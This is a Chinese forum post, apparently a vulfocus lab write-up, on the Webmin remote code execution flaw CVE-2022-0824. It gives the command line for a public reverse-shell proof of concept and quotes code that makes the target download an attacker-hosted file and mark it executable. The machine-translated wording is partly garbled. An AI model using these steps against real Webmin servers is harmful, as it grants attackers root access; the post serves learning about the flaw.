vulfocus毛病学习——Webmin 长途代码执行 (CVE-2022-0824)

[复制链接]
发表于 2025-4-20 13:23:18 | 显示全部楼层 |阅读模式
目次

一、毛病先容
二、影响版本
三、毛病复现
四、毛病原理
1. 获取Webmin的访问权限
2. 不安全的长途文件下载
3. 更改下载文件的权限


一、毛病先容

Webmin是一套基于Web的用于类Unix操作体系的体系管理工具,提供图形化界面管理工具。毛病源于Webmin的某些功能模块未能准确验证和过滤用户输入,导致攻击者可通过参数注入恶意命令。
二、影响版本

Webmin < 1.990
三、毛病复现

POC:https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell
  1. ┌──(root㉿kali)-[~/POC/Webmin/CVE-2022-0824]
  2. └─# python3 Webmin-revshell.py -t http://192.168.57.143:8749 -c root:password -LS 192.168.57.128:9090 -L 192.168.57.128 -P 5555
复制代码
  (1) -t 目标机器
  (2)-c 账号密码
  (3)-LS 攻击机提供payload的端口
  (4)-L 攻击机
  (5)-P 监听端口
  

乐成getshell

找到flag
四、毛病原理

以下原理的学习参考了 deepseek 以及POC中的代码
主要步骤为:
1. 先通过 session_login.cgi 举行登录,获取Webmin的访问权限
2. 使用http_download.cgi 模块从攻击者控制的服务器下载包罗恶意代码的文件
3. 使用文件管理器中的 chmod.cgi 模块更改下载文件的权限
1. 获取Webmin的访问权限

拥有账号密码,只有用户通过认证后才能举行背面的操作。
2. 不安全的长途文件下载

  1.     def download_remote_url(self):
  2.         download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin"
  3.         headers = {
  4.             "Accept": "application/json, text/javascript, */*; q=0.01",
  5.             "Accept-Encoding": "gzip, deflate",
  6.             "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
  7.             "X-Requested-With": "XMLHttpRequest",
  8.             "Referer": self.target + "/filemin/?xnavigation=1"
  9.         }
  10.         data = {
  11.             'link': "http://" + self.py3http_server + "/" + self.fname,
  12.             'username': '',
  13.             'password': '',
  14.             'path': self.upload_path
  15.         }
  16.         r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)
  17.         print(f"\n[+] Fetching {self.fname} from http.server {self.py3http_server}")
复制代码
 /extensions/file-manager/http_download.cgi 接口允许用户通过link参数指定长途文件的URL,并通过path参数指定下载到服务器的路径。这个时间可以在kali上开启http服务,让其下载反弹shell
3. 更改下载文件的权限

  1.     def modify_permission(self):
  2.         modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"
  3.         headers = {"Referer": self.target + "/filemin/?xnavigation=1"}
  4.         data = {"name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path}
  5.         r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)
  6.         print(f"[+] Modifying permission of {self.fname} to 0755")
复制代码
 chmod.cgi 未检查用户是否拥有修改目标文件权限的正当权利。Webmin默认以root权限执行,导致攻击者可通过修改文件权限执行恣意代码;然后,放置在Webmin目次下的CGI文件会被主动解析执行。
使用wireshark抓包可以更清晰地看到这个过程:




免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表